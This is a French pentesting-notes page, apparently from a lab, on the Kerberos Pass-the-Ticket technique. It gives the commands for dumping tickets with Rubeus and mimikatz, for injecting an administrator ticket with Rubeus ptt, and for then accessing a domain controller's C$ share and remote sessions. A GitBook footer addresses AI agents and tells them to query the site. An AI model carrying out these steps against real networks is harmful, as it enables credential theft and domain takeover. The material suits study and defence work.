> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/active-directory/lateral-movement/pass-the-ticket.md).

# Pass-the-Ticket

Pour afficher les tickets Kerberos associés à la session actuelle, nous pouvons utiliser `klist`.

```bash
klist
```

<figure><img src="/files/153d562ab615e48d01b4699d99337819e231ac31" alt=""><figcaption></figcaption></figure>

Les tickets et les clés de session peuvent alors être extraits.

Par exemple, si nous lançons un PowerShell sous le compte `administrador`, ses tickets sont chargés en mémoire.

<figure><img src="/files/768af3f5117e5000982736e385fcbe3cf21fca5a" alt="" width="406"><figcaption></figcaption></figure>

Nous aurons alors en mémoire le TGT et la clé de session correspondante.

Pour les extraire, vous devez disposer de privilèges d’administrateur local.

Nous pouvons alors utiliser `Rubeus`.

```bash
.\Rubeus.exe dump
```

Cette commande affiche tous les tickets en mémoire, y compris ceux du compte `administrador`.

<figure><img src="/files/c99d26e62852756f67bd271d20b2e3d5255625a8" alt=""><figcaption></figcaption></figure>

Avec `mimikatz` nous pouvons également extraire les tickets et les clés de session.

```bash
./mimikatz.exe

sekurlsa::tickets
```

<figure><img src="/files/eeef36ecdcb78146f3eb4a3530e55a084e910db3" alt=""><figcaption></figcaption></figure>

Une fois le ticket récupéré, nous pouvons l’injecter sur une autre machine avec `Rubeus`, même sans droits d’administrateur local sur cette cible.

```bash
.\Rubeus.exe ptt /ticket:doIGiDCCBoSgAwIBBaEDAgFoQ4bDFdIT0FNSS5MT0NBTKIyMDCgAwIBAqEpMCcbBGNpZnMbEURDMDEud2hvYW1pLmxvY2FsGwx3aG9hbWkubG9jYWyjggUeMIIFGqADAgESoQMCAQOiggUMBIIFCHbX7nIoRvWJNNI4G1f3k+hWiivRhmJyEwcA5gOmZuFinRaeaxRtJEwt5YhMeYXkTOpyQck8E3QDrs2Rt2ZF861ZORxF6MmI1jV/432Gfc8Srrl0NUeB9Wj6MdWm9/qU162aOhU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dt2oZRropXY2rzjl63FdyuBK6k5DP+K0uCxjnwQBgGOp28LvG0EO1FTpJ5QTXdI2yY4KOzcVtd84s7n8cadoXboE1tx+FNrzUgg++CtSN7k/jhO5Y/cY8nqQ+/YRnOMZtyG5H90KI4HDuQimHVAnMONKpSSGnEuMjRqPsAayZJY81yT9duyf2kwC3UchPjeOyzOQurfrN426gNG7LUr6j9omKC/d3kl8Jo9FRREwMKnAX7gK5jC7GhQd1OmOk2yMI0GYPlBho5ih8TdbnAJfQpWcSP9YwcODp7mrOkzZcCy1OVKx8esEaDwiNKqJrSWLRv1twhF0lyoOROhDkmo2EP7N9UGwLP3jB9uIFxnT+mp3V+r7D/TRHOft2HTzU7BBisKTsIy+Z6Z35cNRiqMSd0pPdW66ZF3t3INQAgzgPNHhz4b7riSrUEbwfZj5CFa7eGYN89SqQqa08E3U7MqcuqN/pzthGqwZvsK6o8IaPhtEB+ejgfwwgfmgAwIBAKKB8QSB7n2B6zCB6KCB5TCB4jCB36ArMCmgAwIBEqEiBCC4HMGPF6qIOoLDT5qf/LnjfYgTGKQpexnhTGq614NT3KEOGwxXSE9BTUkuTE9DQUyiGjAYoAMCAQGhETAPGw1hZG1pbmlzdHJhZG9yowcDBQBApQAApREYDzIwMjYwNTI3MTgzNTUzWqYRGA8yMDI2MDUyODAzNTkzNVqnERgPMjAyNjA2MDMxNzU5MzVaqA4bDFdIT0FNSS5MT0NBTKkyMDCgAwIBAqEpMCcbBGNpZnMbEURDMDEud2hvYW1pLmxvY2FsGwx3aG9hbWkubG9jYWw=
```

<figure><img src="/files/bd67d31474ab7d7834a533d156bcdd15810f5622" alt=""><figcaption></figcaption></figure>

Si nous redémarrons `klist`, nous constatons que le ticket chargé appartient bien à `administrador`.

```bash
klist
```

<figure><img src="/files/4698be83da33feec085aa713727580e8b7430892" alt=""><figcaption></figcaption></figure>

Nous pouvons alors accéder aux ressources du contrôleur de domaine.

```bash
dir //DC01/c$
```

<figure><img src="/files/2a7661d8ce591945e11c74172485ba149124b1fc" alt="" width="563"><figcaption></figcaption></figure>

Avec ce ticket, nous pouvons également ouvrir une session distante sur d’autres machines autorisées.

```bash
Enter-PSSession -ComputerName DC01
```

<figure><img src="/files/a935f2b47fcb6249db49ed4ba7ce34ac6e0197ee" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/fr/active-directory/lateral-movement/pass-the-ticket.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
